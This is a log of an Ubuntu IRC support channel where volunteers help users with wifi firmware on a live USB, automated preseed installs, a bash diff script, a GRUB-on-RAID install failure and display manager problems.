[00:06] <tomreyn> agio: installing to persistent storage will not only provide persistence, so you can keep configuration changes (such as workarounds to this issue) across reboots, it also provides notably better performance than the live install. plus you get a fully (security) patched system (the live install is only patched when it is released, not afterwards unless you install patches manually, but this wont work for kernel patches).
[00:07] <tomreyn> agio: you see there are several good reasons to use a persistent installation, whereas i see very few to none for using the live install generally.
[00:07] <agio> If I wanted to upgrade the the chipset firmware for my laptop's PCI connected wireless device - how would I do that ? I can't `aptitude install <chipset_firmware_package>' can I?
[00:08] <tomreyn> really the only reason i can think of is testing things, but you said you're using it for many days or a month now? i asked before why you do this, you did not answer, so i won't (directly) ask again.
[00:10] <agio> tomreyn: ah yes, I remember you asking - you said maybe you could suggest a better way of achieving what I was trying to do rather than a live USB. sorry I didn't fully answer.
[00:10] <tomreyn> agio: there is the linux-firmware package which provides firmware for many devices (i have not checked whether it provides firmware for yours, yet). it gets updates occasionally. if you want even newer firmware or firmware that is not available in this package, you'll need to manually find it somehow and place it somewhere in /lib/firmware
[00:11] <tomreyn> agio: no problem. i assumed you had privacy related reasons not to discuss it.
[00:12] <tomreyn> but if that were the case i'd rather run TAILS or similar.
[00:14] <agio> tomreyn: the basic reason I  am using the live USB is that I am just trying to test stuff. e.g. laptop  timeout settings e.g. how long it waits till it suspends. also getting versions of the software I want right before I actually commit to an install. because its harder to change then. e.g the lastest firefox doesn't support the plugins im used to  etc. The live USB lets me try stuff. revert to the older
[00:14] <agio> version etc
[00:17] <agio> tomreyn: no, no privacy reasons. only reason I didn't answer your question earlier was I got a bit sidetracked trying to get my syslog off the broken computer and up to a pastebin!
[00:23] <agio> tomreyn: I see on the broken laptop there is a new version of the linux-firmware listed in its apt-cache - its on 1.157.11 and there is a 1.157.17 available? is  firmware typically the cause of network manager/wifi problems?
[00:24] <tomreyn> agio: i see. well if you want a way to quickly reset things then you should use either snapshotting (a very handy feature LVM2 supports), a versioning system (such as git) or a rapid software deployment solution such as docker. wroking within a full VM with virtualbox and its snapshotting mechanism is also an option.
[00:24] <tomreyn> the latter is probably the most easy to grasp approach in case you're not into the others, yet.
[00:25] <tomreyn> agio: "is  firmware typically the cause of network manager/wifi problems?" - > not neccessarily, but it can well be (i think it often is, but then there can also be bugs, regressions etc.).
[00:26] <agio> when you say "snapshotting" is that kind of like saving a "clone" of the hard disk - and then re-copying the clone/snapshot to "re-install" ?
[00:27] <tomreyn> agio: it is my impression that the wireless chipset you have there was never really well supported. there are others which work better and provide more features and performance.
[00:27] <agio> but im stuck with that wireless chipset right?
[00:27] <agio> unless I get another computer?
[00:27] <tomreyn> unless oyu acquire a different one, i guess so.
[00:27] <tomreyn> you can always attach one via usb
[00:28] <tomreyn> or if the casing allows for it, replace the wireless module
[00:28] <agio> hmmm. interesting..
[00:29] <tomreyn> when i said "snapshotting" i was referring to 'freezing' a complete file systems' state, and keeping this state while continuing to work based on it and possible create further snapshots as you go.
[00:29] <tomreyn> this way you can create a timeline and always goback to a certain point where you created a snapshot.
[00:30] <agio> kind of like a git history?
[00:30] <tomreyn> kind of, yes.
[00:31] <tomreyn> since you seem to have come across git, you could also use this to preserve states of configuration files. such as those of firefox.
[00:31] <agio> the problem with that is when I change something - and I didn't know it at the time but it broke something else  - how do I get back to the good state ? I dont know which snapshot to use?
[00:33] <agio> I mean the problem with snapshots/disk imaging/cloning/ or containers is they can capture the bad/misconfigured/hacked  stuff
[00:34] <agio> or versions of software that you can't uninstall or downgrade
[00:34] <agio> yes you could revert back to a snapshot of a month ago - but then you lose too much work/state etc
[00:35] <tomreyn> agio: so take snapshots regularly (and delete outdated ones regularly).
[00:35] <tomreyn> agio: and before you revert you can backup any data you still need. you can also store all your data in a different location that the configuration, in fact you should.
[00:35] <agio> my current approach is I use ansible and shell scripts to install and configure new machines - and then manage things like say firefox configs etc mostly from within the ansible git repository
[00:36] <Deetster> not the actual reason i'm here, but is there an easy way to figure out how a 2gbinstall managed take up a 32gb drive?
[00:36] <tomreyn> agio: just for yourself? doh, you are the most structured person i know of, i guess.
[00:38] <agio> tomreyn: I re-use alot of the ansible/install scripts between my ubuntu laptop and ubuntu servers I manage - its a big advantage of ubuntu in my experience
[00:38] <tomreyn> agio: i guess ansible is great when it comes to deploying systems for the first time, but it's not as great when you want to apply specific configurations (or configuration changes) to an existing system. i prefer puppet for this.
[00:39] <tomreyn> others would say salt stack, chef etc.
[00:41] <agio> so you mean like it you wanted to apply a variation to a system config? Im pretty new to ansible - mostly used shell scripts in the past - but at least compared to shell scripts ansible works for me for re-applying configs to an existing machine
[00:41] <tomreyn> Deetster: depends a bit on how you partitioned and which file systems you created there and where you mount them to. lsblk and "df -h" should hint on this. and then there is "du -schx /*" and "du -schx /var/*" etc to get a better idea of where the data is in use.
[00:42] <tomreyn> Deetster: or install baobab for a graphical / GUI take on this
[00:43] <tomreyn> agio: re-applying the same configuration generally, yes. but for making fine-grained changes / merging etc. i think puppet is better.
[00:45] <tomreyn> agio: you must have a software developer background or similar, since you ar einto git and a little into ansible and deployment in general, but  have not considered to replace your wireless module (something a system administrator or hardware person would probably have considered).
[00:46] <agio> tomreyn: cool. I should take a look at puppet. yeah, Im a web develper mostly - not systems /hardware. when I gave you the [nnnn:nnnn] number output from the `lspci -nn' command earlier did you do a lookup to find out about the chipset and history of bugs etc. I would be interested to know which service/site you used?
[00:49] <tomreyn> agio: it is called "web search". many people would say "google", ;-)
[00:50] <tomreyn> you just put these ids in quotation marks, add "linux" and there you go
[00:51] <tomreyn> some long term system administration background or a certain understanding of how the kernel, kernel modules and the common user space software play together helps a lot, though.
[00:51] <tomreyn> (in dissecting the information)
[00:52] <agio> tomreyn: lol, fair enough. I thought there may have been some feature on launchpad bug tracker or ubuntu web search or something
[00:53] <Deetster> tomreyn: i'll try that
[00:58] <tomreyn> agio: i'm not aware of any such features (but it doesn't rule it out). there are databases which resolve these IDs to names. your computer has a copy of those which can be updated using the update-pciids and update-usbids commands. but this doesn't improve the driver support, just the presentation / naming of things in the output produced by utilities such as lspci and lsusb
[00:58] <agio> tomreyn: in terms of generally stability for the testing of system setups etc - where say you need the system to remain up for say about a week - would you recommend the live USB? I'm finding the live USB is stable enough to last a few days typically - then I run into some issue like this wifi problem - or it doesn't resume from suspend etc. If  I make sure all packages are at latest (apt-get dist-upgrade)
[00:58] <agio> and use the latest installer (e.g. 16.04.5) is it reasonable to use the live USB for what Im doing? or were the live USB's only designed for a quick 45minute tour of the desktop to decide if you like it? and ubuntu dont really expect the live USB's to be any more stable than that?
[00:59] <Deetster> what manner of nonsense is this. steam with a single game installed in 20gb?
[00:59] <tomreyn> the live usb's are really only designed for the quick tour, and to recover your broken persistent installtions.
[01:01] <tomreyn> agio: ^ for repeatedly bootstrapping a system you'll use for days or weeks i would surely recommend setting up a fully automated deployment mechanism.
[01:02] <agio> like?
[01:04] <tomreyn> agio: the easy way to install ubuntu fully automated is called "preseeding" ("preseed") where you boot off the network and have the installer run automatically, setting up the system based on parameters you provided on a configuration file (stored on a different computer on your network). and then you could deply your configurations there using ansible.
[01:04] <tomreyn> *deplOy
[01:04] <tomreyn> ...or using git.
[01:06] <tomreyn> !preseed
[01:06] <tomreyn> :-/ doesn't exist
[01:07] <tomreyn> https://help.ubuntu.com/lts/installation-guide/amd64/apbs02.html
[01:07] <agio> "boot off the network" --> does that mean when I first boot - I enter BIOS custom boot menu and choose "boot from network" ? where does the MBR / partition table/ grubloader etc come from ? I wouldn't have wifi access ? would I need to have ethernet/wired connection to internet?
[01:08] <tomreyn> https://help.ubuntu.com/lts/installation-guide/amd64/apb.html
[01:10] <tomreyn> agio: right, you'd set your bios / uefi to "boot from network" and set up a "tftp" server (a very simple ftp-like server) on another computer in your LAN to host the installer kernel and the preseed configuration file, as well as a little dhcp server (which assigns ip addresses automatically etc.). those files from the tfpt server are then loaded by the newly booted 'test' system automatically.
[01:11] <tomreyn> and then it runs the installer fully automated, which only takes a few minutes.
[01:11] <tomreyn> part of the installation is to write the MBR / install grub.
[01:11] <agio> ah thats the point of the preseed file? is to provide all that info which normally a full system could get at - but because at this point the system hasn't fully bootstrapped it has to get info from a "special file in the preseed format?"
[01:12] <Deetster> tomreyn: that program was great. had no idea that i managed to download that much on steam workshop (mostly because i downloaded it all from a different computer)
[01:12] <Deetster> now i'm going to reboot and see if my SD card reader comes back, since it worked before installing steam
[01:14] <tomreyn> agio: exactly
[01:15] <tomreyn> agio: here's an example preseed file someone posted here the other day: https://pastebin.com/raw/S2BBwKuH
[01:17] <Deetster> well that didn't work. its been too long since i was on ubuntu, i dont remember how to do anything xD
[01:17] <Deetster> SD card reader worked the other day, stopped working for no apparent reason. card works in other computers
[01:27] <zeus__> hi
[01:27] <zeus__> im new to bash scripting
[01:28] <zeus__> can anyone guide me on using `diff -u` on two files, why i see some lines without `+` or `-` meaning they are present in both the files
[01:29] <zeus__> any help would be appreciated
[01:31] <tomreyn> zeus__: yes, lines starting without + or - are just shown to provide context. they are the same in both files.
[01:32] <zeus__> is there a way i can remove them from the output
[01:33] <tomreyn> zeus__: you could grep just the lines starting with + or -, or you could just use diff without -u
[01:34] <zeus__> oh yes, i didnt thought about grep. thanks alot
[01:35] <tomreyn> to filter the output through grep, you would add something along the lines of:     | grep '^[-+]'
[01:36] <tomreyn> agio: FWIW, i just looked at your kernel log (it's full of errors because of the nature of the live install, many files cannot be written to disk). It contains this line:  Loading firmware rtlwifi/rtl8192sefw.bin
[01:37] <zeus__> im doing it now
[01:37] <tomreyn> agio: so that's the firmware your wireless adapter uses.
[01:38] <tomreyn> this is installed as part of the linux-firmware package
[01:39] <zeus__> can i paste a line of code here?
[01:39] <tomreyn> zeus__: one line yes, many lines, no
[01:39] <tomreyn> !paste
[01:40] <zeus__> Dif="$(diff -u "a" "b" | grep '^[-+])"
[01:40] <zeus__> unexpected EOF error
[01:41] <zeus__> how can i properly grep it and save it to this var
[01:42] <tomreyn> agio: and here's a bug report which discusses the issue of connection drops for this chipset, and where a newer (?) firmware of unknown origin (?) is provided for it: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1454843/
[01:43] <tomreyn> zeus__: Dif="$(diff -u "a" "b" | grep '^[-+]')"
[01:43] <tomreyn> zeus__: just dont cut off the trailing single quote ;)
[01:45] <zeus__> oh im soo noob at this :)
[01:45] <tomreyn> zeus__: assigning multi-line values to a variable does not always provide the inteded effects, however. you *may* need to dump it to a temporary file and read from it later.
[01:46] <tomreyn> zeus__: everybody makes those mistakes which is why people who develop software usually use editors which provide syntax coloring, and why mature scripting and programming language provide better error output.
[01:48] <zeus__> thats the thing which i love about this community :)  Prob the best support
[01:49] <agio> the lines starting with `+' , and `-' represent the differences not the context.
[01:49] <tomreyn> for bash, #bash is a lot better, plus they have a better quote db than ubottus.
[01:49] <tomreyn> agio: correct.
[01:52] <zeus__> if [! -z  "$DIF" ]  Does this mean if the var Dif is empty
[01:53] <zeus__> what im trying to do is to collect the diff in a variable, and if there is some changes, print the changes
[01:54] <zeus__> and overwrite the file with original text ( which was before it getting changed)
[01:58] <agio> tomreyn: nice find on the kernel log output and bug report - Im just reading it and testing on my laptop now. One thing I do like about all the hardware in this laptop with the wifi problem (lenovo edge) is that I don't need any packages out of restricted -the entire system seems comprised only from main and universe
[01:58] <tomreyn> echo lines=$(echo $DIF | wc -l)", storing the number of lines returned. then [ $lines -gt 9 ] && echo "there is a difference:"; echo $dif
[01:58] <tomreyn> zeus__: ^
[02:00] <tomreyn> agio: right, except, of course, the binary firmware blobs are effectively unmaintained, since they are proprietary code which (more or less) nobody understands but the company developing the hardware.
[02:03] <zeus__> $lines -gt 9  what dies this command do ?
[02:03] <tomreyn> zeus__: look into inotify / incron if you would like to have the kernel notify (and spawn) your scripts when files change
[02:03] <agio> which firmware binaries? out of universe/main? - I thought to be in main/universe the code had to be open source + persmissive licences?
[02:04] <tomreyn> zeus__: do you have man pages (package "man-db") installed ? if so, run "man test" to learn about -gt
[02:04] <tomreyn> agio: those in the linux-firmware package.
[02:06] <agio> tomreyn: but `apt-cache policy linux-firmware' shows linux-firmware comes out of main - thats supported open source right?
[02:06] <tomreyn> agio: i dont think the code in main/universe has to always be open source + permissive licences. other distributions handle it this way, ubuntu is maybe not as strict. i am not sure about the exact policies there.
[02:07] <zeus__> i didnt knew about it, theres alot of good info, thanks alot :0
[02:09] <agio> I think thats what restricted is for - yes ubuntu will "comprimise" and enable installs of non-free software as part of the default OS config - but only hardware drivers and only if there is no other way a user could install ubuntu
[02:12] <tomreyn> agio: see the files in /usr/share/doc/linux-firmware/ for details on licensing and copyrights.
[02:12] <agio> and restricted is supported (to the extent that ubuntu can support closed-source proprietary code )
[02:14] <tomreyn> zeus__: there is also "man bash" if you have a couple hours ;)
[02:17] <agio> huh, Im reading /usr/share/doc/linux-firmware/LICNECE.realtek firmware.txt - and it does seem it only allows redistributing binaries only? and no reverse engineering etc - thats totatlly not free - why isn't it in restricted or multiverse?
[02:19] <tomreyn> i do not know the exact policies which apply to the sections (main, universe, multiverse). the only distinction i know is about security support. 'main' gets full security support by the ubuntu secrutiy team.
[02:23] <agio> yeah, I think main does - for  sure - get security support - so does restricted (but  it must surely be limited) and so does canonical partners - but again that must surely be limited as "partners" is closed-source propritary code
[02:31] <tomreyn> i would be interested in how other people would explain it. that it is in main strikes me as wrong, too, and that's why i brought it up initially. i do, however, acknowledge the (sad) reality that a lot of hardware devices require those blobs to work properly. including our cpus. and i do appreciate the fact that getting things to work is easy with ubuntu.
[02:38] <zeus__> [ $lines -gt 9 ] && echo "theres a dif"; this line the echo doesnt seem to work
[02:39] <tomreyn> zeus__: i think i mean -gt 0
[02:39] <tomreyn> not  -gt 9
[02:42] <zeus__> ok
[02:44] <tomreyn> zeus__: thinking again, it's possible that you may always have one line of output
[02:45] <agio> yeah, but isn't that what "restricted" is for? - its the  "component" of apt repository for those packages - which we have to just live with as closed - for example - this laptop which Im IRC'ing on - has the intel-microcode package - which I understand is akind of dynamically loaded firmware -"intel-microcode" is in restricted
[02:45] <tomreyn> ...a minimum of
[02:46] <zeus__> it applies on one line of output
[02:47] <tomreyn> agio: for me, the latest version of intel-microcode is in main, not restricted
[02:49] <kostkon> !info intel-microcode
[02:51] <cuddylier> Does anyone know what 'grub-install: error: disk `md0' not found' means?
[02:51] <cuddylier> I've setup raid 1.
[02:51] <agio> tomreyn: ah same here no that I look at it: the original package in the release "pocket" v 3.20151106.1  was in "restricted" but now  version 3.20180108.0 is in "main" weird...
[02:53] <tomreyn> cuddylier: it means that there is no dask called md0. which is probabyl correct.
[02:53] <tomreyn> *disk
[02:53] <tomreyn> cuddylier: what were you running?
[02:54] <tomreyn> or rather: which command produced this output?
[02:54] <cuddylier> tomreyn: I ran 'grub-install /dev/sda'
[02:54] <cuddylier> And grub-install /dev/sdc produces the same output (the two drives in the raid 1 array)
[02:57] <tomreyn> cuddylier: hmm, that's interesting, i'm not sure what's happening there. can you shouw "lsblk" output?
[03:02] <tomreyn> cuddylier: also, which ubuntu release is this?
[03:02] <cuddylier> Just getting the output of that command atm and Ubuntu 16.04
[03:04] <tomreyn> 16.04 .0, .1, .2, .3, .4 or .5?
[03:04] <tomreyn> lsb_release -ds
[03:04] <cuddylier> 16.04.3
[03:05] <tomreyn> then patch the system and try again
[03:05] <cuddylier> Right now I've just got it in a rescue mode as I couldn't boot it fully due to lack of grub.
[03:06] <cuddylier> tomreyn: lsblk output: https://pastebin.com/raw/yhbQKfkr
[03:07] <tomreyn> cuddylier: can you also show:  grub-install -v /dev/sda
[03:08] <cuddylier> tomreyn: https://pastebin.com/raw/hSftd2xS
[03:08] <tomreyn> cuddylier: and see man grub for possible workarounds such as -s, --skip-fs-probe or even --force (but i would not do this, yet, not sure what it will do to your md0)
[03:12] <tomreyn> cuddylier: do you have /boot/grub/device.map ? if so, can i see it?
[03:13] <cuddylier> Nope, that isn't there.
[03:13] <TJ-> cuddylier: because of the way you've laid out the system you need to create a /boot/grub/device.map to help grub-install know where things are
[03:14] <cuddylier> Is the way I've laid it out special?
[03:14] <cuddylier> Or what part confuses it?
[03:14] <TJ-> cuddylier: run this then try grub-install again: "  echo "($(sudo grub-probe -t bios_hints -d /dev/md0)) /dev/md0" | sudo tee -a /boot/grub/device.map  "
[03:15] <cuddylier> TJ-: grub-probe: error: disk `md0' not found.
[03:15] <cuddylier> () /dev/md0
[03:16] <TJ-> cuddylier: it's currently mounted isn't it?
[03:16] <cuddylier> Yes
[03:16] <cuddylier>  /dev/md0        472M   53M  395M  12% /boot
[03:16] <TJ-> cuddylier: does "cat /proc/mdstat" confirm that?
[03:16] <cuddylier> TJ-: echo "($(sudo grub-probe -t bios_hints -d /dev/md0)) /dev/md0" | sudo tee -a /boot/grub/device.map
[03:16] <cuddylier> oops
[03:16] <cuddylier> TJ-: https://pastebin.com/raw/z8GRete3
[03:17] <TJ-> are you running grub-install from within a chroot on /dev/md1 ?
[03:17] <cuddylier> yeah
[03:17] <TJ-> cuddylier: did you (bind) mount devfs into the chroot ?
[03:18] <cuddylier> TJ-: I did: mount -o bind /dev /mnt/linux/dev
[03:18] <cuddylier> https://pastebin.com/raw/bGyW0PDd
[03:18] <TJ-> cuddylier: OK, so from inside the chroot there should be block nodes /dev/md0 and /dev/md1
[03:19] <cuddylier> How do I check that?
[03:19] <TJ-> cuddylier: this isn't correct: "mount /dev/sda2 /mnt/linux"
[03:19] <tomreyn> ls -l # :)
[03:19] <TJ-> cuddylier: your lsblk shows " └─md1   9:1    0 476.3G  0 raid1 /"
[03:19] <cuddylier> oops, I forgot to say I replaced with: mount /dev/md1 /mnt/linux
[03:20] <TJ-> so it should have been "mount /dev/md1 /mnt/linux"
[03:20] <TJ-> cuddylier: trying to catch us out huh? :D
[03:20] <cuddylier> yeah, I did that, sorry for the confusion :P
[03:20] <TJ-> hehehe
[03:20] <tomreyn> in case you won't find a solution this ooold bug report suggests that mdadm is not installed: https://bugs.launchpad.net/ubuntu/+source/grub-installer/+bug/1315344
[03:22] <TJ-> Yes, and my recent one where I've got the device.map workaround and am working on a permanent GRUB source fix: bug #1756517
[03:23] <TJ-> cuddylier: the fact grub-probe is failing is key to this, and it not finding the dev node is very wrong
[03:23] <cuddylier> hmm :(
[03:25] <TJ-> cuddylier: which meta-data version is md0 using?
[03:25] <cuddylier> TJ-: How do I check?
[03:25] <TJ-> cuddylier: "mdadm --examine /dev/sda2"
[03:26] <TJ-> cuddylier: 2nd line should show "Version: ...."
[03:27] <tomreyn> now that you ran "mdadm --examnine", grub-install /dev/sda should work
[03:27] <cuddylier> Seems like the mdadm package is in deed not installed
[03:27] <tomreyn> :)
[03:27] <cuddylier> And I can't actually get apt-get to work on this chroot
[03:28] <tomreyn> how so?
[03:28] <cuddylier> sources.list is messed up with what my PXE boot put it in it
[03:28] <TJ-> cuddylier: exit the chroot then do "mount --bind /etc/resolv.conf /mnt/linux/etc/resolv.conf" then "chroot /mnt/linux" and try apt again
[03:29] <cuddylier> resolv.conf was an issue but I fixed that
[03:29] <TJ-> mdadm must be available somewhere it was used to assemble the 2 arrays
[03:29] <cuddylier> The vim installed on Ubuntu 16.04 is very confusing to use :(
[03:29] <tomreyn> why would your pxe boot mess with what's in /mnt/linux ?
[03:29] <cuddylier> cat /proc/mdstat works fine yeah
[03:29] <TJ-> is that done from outside the chroot?
[03:30] <cuddylier> I did cat /proc/mdstat inside
[03:30] <TJ-> cuddylier: right, but the tool that assembles arrays, called by udev, is mdadm
[03:32] <TJ-> it's a bit of a weird arrangement. I'd have made /dev/sda + /dev/sdc = /dev/md0, then partitioned it and but the root-fs and /boot/ in 2 partitions that way
[03:32] <tomreyn> i would still expect /mnt/linux/etc/apt/sources.list to be unmodified by the PXE boot
[03:32] <TJ-> tomreyn: agreed, and if the root-fs which requires md has no mdadm then something is broken
[03:33] <tomreyn> maybe the initrd was not generated there but copied, and mdadm was never installed there.
[03:34] <TJ-> possibly
[03:35] <TJ-> thing is though /boot/ is not required to mount the root-fs so the initrd mdadm /conf/mdadm.conf wouldn't usually have an entry for /dev/md0 - that would be left for the real init system to do
[03:36] <tomreyn> hmmm. well i'm sure cuddylier will let us know once he finds out.
[03:37] <cuddylier> Yeah, I'm going to try installing with /dev/sda and /dev/sdb to see if that makes a difference.
[03:37] <TJ-> sdb is the USB isn't it?
[03:37] <TJ-> oh, no, I misread
[03:38] <TJ-> yes, sda + sdb looks more sensible since they're the same size
[03:39] <TJ-> and I'd suggest build the array directly from sda + sdb, then partition the resulting md0 and adding your file-systems there
[03:39] <cuddylier> As in just have a single raid array?
[03:39] <cuddylier> And not a separate /boot one?
[03:40] <TJ-> That way the grub-probe workaround I gave will work (from Bug #1756517)
[03:40] <TJ-> cuddylier: yes, you only need to RAID the physical disks
[03:40] <tomay> hello
[03:40] <tomay> and bye
[03:41] <tomay> just testing
[03:41] <TJ-> cuddylier: makes it much easier to deal with since you've already shown you want booth root-fs and /boot/ protected anyhow
[03:42] <tomreyn> I'm going to try sleeping (without /dev/sda and /dev/sdb) to see if that makes a difference.
[03:42] <zeus__> even when theres no difference why it finds empty white space, and says theres a difference and thats an empty line
[03:43] <tomreyn> sorry zeus__, it's too late here, maybe ask in #bash, goo dluck
[03:44] <zeus__> ok good night
[03:47] <TJ-> zeus__: you say you're trying to revert changes to file A based on an original file B ?
[04:06] <cfoch__> Hello
[04:06] <cfoch__> does somebody use Cheese here?
[04:18] <amazingqk> hi
[04:28] <cfoch__> hi
[04:28] <Javabean> !hello
[04:28] <OfCourseMyHorse> hello
[04:29] <WHOAMI> what issue?
[04:29] <WHOAMI> exit
[04:29] <WHOAMI> man
[04:31] <zczbd> Hello. I have Kubuntu 17.10 installed on my Dell 7559 with dual graphics. If secure boot is DISABLED, the laptop refuses to boot. I'm using Intel graphics with proprietary nvidia drivers
[04:35] <jpastore> hi I'm setting up a new server with 16.04 LTS. This is a fresh install, was looking for some recommendations on how to configure the drive layout. I have a 256gb ssd to boot (did 8gb swap and rest for /) and I 5x3.7tb sshd and 4x1tb ssd.
[04:36] <Javabean> !patience
[04:36] <jpastore> wanted to make the SSDs a single drive for a database. and use the sshd's for storage as a single drive. on board controller no hardware raid.
[04:37] <jpastore> does anyone have an opinion on best practices/file system of choice?
[04:54] <shuforov> Hi, how going beta of ubuntu?
[04:54] <energizer> shuforov: 18.04?
[04:54] <shuforov> yes
[04:55] <energizer> http://cdimage.ubuntu.com/daily-live/current/HEADER.html
[04:55] <shuforov> oh no, beaver beta
[04:55] <energizer> ?
[04:55] <shuforov> damm sory
[04:55] <shuforov> my mistake
[04:56] <shuforov> still sleeping just wake up.
[04:56] <shuforov> thenx for link energizer
[04:56] <energizer> shuforov: https://wiki.ubuntu.com/BionicBeaver/ReleaseSchedule
[04:57] <shuforov> energizer, yes i monitoring this link :) cant wait to update to it from 16 lts
[05:02] <u0_a114> hi
[05:19] <solarradiation> If I install ubuntu onto a USB drive, can I boot from it on any machine?
[05:22] <Kumool> no
[05:22] <BartolomeBellid0> Hi, does anyone know how long it takes a ghost nick to be free?
[05:22] <Kumool> solarradiation, if the machine is a different arquitecture it wont work
[05:22] <AntiSlayer> my ubuntu system keeps freezing
[05:23] <Kumool> solarradiation, theres also the drivers, which matter.
[05:24] <Kumool> tty wise, its possible, but with Xorg, its a bit harder
[05:24] <Kumool> BartolomeBellid0, ask in #freenode
[05:25] <Kumool> AntiSlayer, try cleaning the RAM, if that's not it check the disk drive
[05:25] <AntiSlayer> how
[05:25] <AntiSlayer> is there a program to clean ram
[05:25] <Kumool> AntiSlayer, if the disk drive is not wrong, try upgrading to latest stable
[05:25] <Kumool> AntiSlayer, ... no
[05:25] <BartolomeBellid0> Kumool, thanks, i try this :)
[05:26] <Kumool> AntiSlayer, RAM is a physical device in the computer itself, if it gets dusty inside, you're gonna have hiccups and freezes
[05:26] <AntiSlayer> how to upgrade to latest stable
[05:26] <AntiSlayer> oh okay
[05:26] <Kumool> AntiSlayer, what computer do you have?
[05:26] <AntiSlayer> ubuntu 16.04 and it is an hp 15 f272wm
[05:27] <Kumool> it could also freeze if the cpu gets hot
[05:28] <AntiSlayer> how do i upgrade to the latest stable thingy
[05:28] <Kumool> mm
[05:28] <Kumool> it seems brand new so i doubt its anything physical
[05:29] <Kumool> have you noted when it freezes
[05:29] <Kumool> a pattern
[05:29] <AntiSlayer> yeah i was doing a bunch of stuff and then it froze while i was working on the computer then i had to cold boot it
[05:30] <Kumool> mmm
[05:30] <Kumool> was it hot?
[05:30] <AntiSlayer> no
[05:30] <AntiSlayer> i feel no heat from it
[05:31] <Kumool> did you install ubuntu?
[05:31] <AntiSlayer> yes
[05:31] <AntiSlayer> ubuntu 16.04 lts
[05:32] <AntiSlayer> desktop
[05:34] <Kumool> you're better off looking for a guide online on upgrading to 17.10 (this was the first hit https://askubuntu.com/questions/909323/ubuntu-gnome-17-04-ubuntu-17-10-upgrade)
[05:34] <Kumool> check the answers section
[05:34] <AntiSlayer> kk thank you for your time
[05:35] <Kumool> sorry, couldnt be of more help :S
[05:35] <Kumool> i'd suggest you install a hardware sensor
[05:35] <AntiSlayer> its alright have a wonderful day and happy easter
[05:35] <AntiSlayer> okay
[05:35] <Kumool> oh, you too
[05:38] <Kumool> oh, i'm also getting freezes too antisl... oh, gone :(
[05:38] <ShriHari> hello
[05:40] <Kumool> hello ShriHari
[06:17] <k12> I disabled my display manager using systemctl and now whenever I reboot, I don't get a graphical display unless I start it manually. When I run "sudo systemctl enable gdm3", I get an error saying that it failed, citing that the unit files have no installation config. What is the proper way to enable a display manager in Ubuntu? It's obviously not the same way it is with most distros I've tried.
[06:17] <k12> Which is the systemd method.
[06:18] <k12> Would be great if someone could help, because I'm not reinstalling Ubuntu, and I don't want to manually start my display manager every time I boot. thx
[06:30] <tripelb> what is a UI freeze?
[06:30] <Ascavasaion> UI = User Interface I am guessing.
[06:30] <tripelb> yes..and?
[06:31] <Ascavasaion> Freeze = stops reacting.
[06:31] <tripelb>  | All hail our UI freeze on MARCH TWENTY-TWOTH
[06:31] <tripelb> so that was a finalization?
[06:31] <tripelb> When can I get 18.04 stable?
[06:32] <tripelb> that's what I came here to ask
[06:32] <tripelb> funny nick IGot2P
[06:35] <tripelb> am reading https://itsfoss.com/ubuntu-18-04-release-features/
[06:37] <tripelb> 26th April: Stable Ubuntu 18.04 LTS release -- Let me look. Maybe that is in the topic already.
[06:38] <tripelb> MODS PUT The date in the Topic, That is my suggestion. That is all.
[06:46] <k12> !pastebin
[06:51] <k12> For anybody who needs to see what it reads exactly, here's what I get: https://paste.ubuntu.com/p/N5kn6N7Rsd/
[06:53] <k12> I tried googling my problem, and the only solution I find to enabling a display manager is here: https://askubuntu.com/questions/19320/how-to-enable-or-disable-services#19324
[06:55] <lotuspsychje> k12: i just joined, do you want to install a desktop envorinment?
[06:55] <k12> lotuspsychje: no, trying to re enable my display manager.
[06:55] <Ascavasaion> Installed Ubuntu 16.04.4 and installation took forever... eventually go to the point where I say yes to reboot into OS and I get this message, "MODSIGN: Couldn't get UEFI db list " and the computer had frozen and refuses to restart.  Any ideas so as not to corrupt installation please?
[06:56] <k12> But I see something for permanently reenabling it, and odly enough I didn't see it there, because I'm dumb. Going to give it a shot.
[06:56] <lotuspsychje> k12: display manager comes with the DE?
[06:57] <k12> brb
[06:57] <lotuspsychje> Ascavasaion: are you singlebooting ubuntu?
[06:58] <Ascavasaion> singlebooting? As in Ubuntu is the only OS to boot?  then yes.,
[06:59] <lotuspsychje> Ascavasaion: ok, have you disabled secureboot & fastboot?
[06:59] <Ascavasaion> lotuspsychje: secureboot I do not know.  I have disabled fastboot though.
[06:59] <Willzor> Hi there im having a lot of issues with My Nvidia drivers can anyone help?
[07:00] <Willzor> Im on a laptop if that helps at all.
[07:00] <lotuspsychje> !details | Willzor
[07:01] <lotuspsychje> Ascavasaion: try legacy in your uefi settings
[07:01] <Willzor> I have all the drivers installed for prime but when i load the server up i dont get anything
[07:01] <lotuspsychje> Willzor: are you on untu server?
[07:01] <Ascavasaion> lotuspsychje: but I am in the installation and it is trying to reboot for the first time and froze.
[07:02] <Willzor> Im not on the server no
[07:02] <lotuspsychje> Willzor: wich nvidia driver are you using?
[07:02] <Willzor> The Nvidia X server Settings
[07:02] <Willzor> And 390
[07:02] <lotuspsychje> Willzor: and on wich ubuntu version?
[07:03] <Willzor> You mean the Kernal?
[07:03] <lotuspsychje> morning EriC^^
[07:03] <EriC^^> morning lotuspsychje
[07:03] <lotuspsychje> Willzor: no i mean ubuntu version
[07:04] <Willzor> Hmm how would i find that?
[07:04] <lotuspsychje> lsb_release -a Willzor
[07:04] <Willzor> No LSB modules are available. Distributor ID:	MakuluLinux Description:	MakuluLinux 14 LinDoz Release:	14 Codename:	LinDoz
[07:05] <lotuspsychje> Willzor: we only support ubuntu here mate
[07:05] <Willzor> It is
[07:05] <Willzor> Its Ubuntu
[07:06] <lotuspsychje> Willzor: we only support vanilla ubuntu & their flavors here
[07:06] <Willzor> Its all of the Ubuntu things just with a few added icons and what not
[07:07] <lotuspsychje> Willzor: we only support official ubuntu & its flavors here
[07:07] <k12> lotuspsychje: it's GDM3 which comes with the gnome desktop environment.
[07:07] <Willzor> So your not willing to help me out even tho im saying its the same thing?
[07:07] <Willzor> Like really the same thing just a few added icons and you want to say screw you/
[07:07] <lotuspsychje> Willzor: its not that i dont want, we cant help unofficial ubuntu distro's here
[07:08] <Willzor> Right and saying you dont want to help and saying what you said isnt the same thing?
[07:08] <lotuspsychje> Willzor: for your distro, seek help on their official web/irc
[07:08] <ducasse> !based on ubuntu | Willzor
[07:08] <Willzor> Letting someone hand like that isnt cool
[07:09] <Willzor> They dont have an irc that i can see
[07:09] <lotuspsychje> Willzor: if you like ubuntu support, choose an official ubuntu flavor and youl get help here
